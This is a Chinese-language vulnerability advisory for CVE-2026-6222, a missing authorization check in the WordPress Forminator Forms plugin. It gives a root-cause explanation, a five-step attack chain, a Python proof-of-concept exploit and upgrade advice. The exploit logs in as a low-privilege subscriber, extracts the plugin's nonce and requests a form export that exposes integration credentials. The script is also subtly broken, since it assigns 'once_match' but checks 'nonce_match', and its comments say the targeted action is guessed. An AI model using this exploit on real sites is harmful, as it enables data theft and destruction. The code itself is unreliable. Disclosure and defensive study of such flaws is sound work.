IPBUF安全漏洞报告
English
CVE-2026-6222 CVSS 5.3 中危

CVE-2026-6222 WordPress Forminator Forms 权限缺失漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-6222
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Forminator Forms Plugin

相关标签

权限缺失WordPressForminator访问控制失效CVE-2026-6222

漏洞概述

WordPress Forminator Forms插件1.51.1及以下版本存在权限缺失漏洞。由于`processRequest()`方法仅依赖Nonce验证,未检查用户管理模块的能力,低权限认证用户可绕过限制执行敏感操作。攻击者能导出包含凭证的表单配置、删除数据或修改发布状态,导致严重信息泄露及功能受损。

技术细节

该漏洞的根本原因在于WordPress插件Forminator Forms的`Forminator_Admin_Module_Edit_Page`类中的`processRequest()`方法存在权限校验缺失。该方法在`admin_menu`动作钩子触发期间被调用,此时WordPress尚未执行页面级别的能力检查。代码逻辑仅依赖`forminator_form_request` nonce来验证请求合法性,而该nonce被无条件嵌入到全局`forminatorData` JavaScript对象中,并本地化在所有管理页面。因此,拥有低权限(如订阅者)的攻击者可以从页面源码中提取Nonce,构造恶意POST请求,直接调用`processRequest()`处理敏感动作(如导出配置、删除模块、修改状态)。这种逻辑绕过使得非管理员用户能够获取包含通知路由、集成凭证在内的完整内部配置,或对网站数据进行破坏性操作。

攻击链分析

STEP 1
侦察
攻击者识别目标网站安装了WordPress Forminator Forms插件,且版本在1.51.1及以下。
STEP 2
获取访问权限
攻击者使用低权限账户(如订阅者Subscriber)登录WordPress后台。
STEP 3
提取Nonce
攻击者访问Forminator的管理页面(如Templates页面),从页面源码的`forminatorData` JavaScript对象中提取`forminator_form_request`的Nonce值。
STEP 4
构造请求
攻击者利用获取的Nonce,构造一个针对特定模块ID的POST请求,将action参数设置为敏感操作(如export、delete)。
STEP 5
执行攻击
服务器接收到请求,由于仅验证Nonce而未验证权限,`processRequest()`方法执行了敏感操作,导致数据泄露或破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # Configuration target_url = "http://example.com" username = "subscriber" password = "password" module_id = "123" # ID of the form/poll/quiz to target session = requests.Session() # 1. Login to get authenticated cookies login_payload = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url + "/wp-admin/" } login_response = session.post(target_url + "/wp-login.php", data=login_payload) if login_response.status_code != 200: print("Login failed") exit() # 2. Extract Nonce from forminatorData # Accessing the admin page (e.g., All Forms) to load the JS object admin_page = session.get(target_url + "/wp-admin/admin.php?page=forminator-entries") # Search for the nonce in the JavaScript object # Pattern: forminator_form_request:"<nonce_value>" once_match = re.search(r'forminator_form_request:"([a-zA-Z0-9]+)"', admin_page.text) if not nonce_match: print("Nonce not found") exit() nonce = nonce_match.group(1) print(f"Extracted Nonce: {nonce}") # 3. Exploit: Trigger Export (or delete/clone) # The action is typically dispatched via admin-post.php or admin-ajax.php # Based on the description, we target the processRequest logic. exploit_url = target_url + "/wp-admin/admin-post.php" payload = { "forminator_form_request": nonce, "forminator_id": module_id, "action": "forminator_form_export" # Vulnerable action } exploit_response = session.post(exploit_url, data=payload) if exploit_response.status_code == 200: print("Exploit request sent successfully.") print("Response:", exploit_response.text[:200]) else: print("Exploit request failed.")

影响范围

Forminator Forms <= 1.51.1

防御指南

临时缓解措施
建议立即将Forminator Forms插件升级到1.52或更高版本以修复漏洞。若无法立即升级,应暂时撤销低权限用户访问后台的权限,或通过WAF规则拦截针对`admin-post.php`且包含`forminator_form_request`参数的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表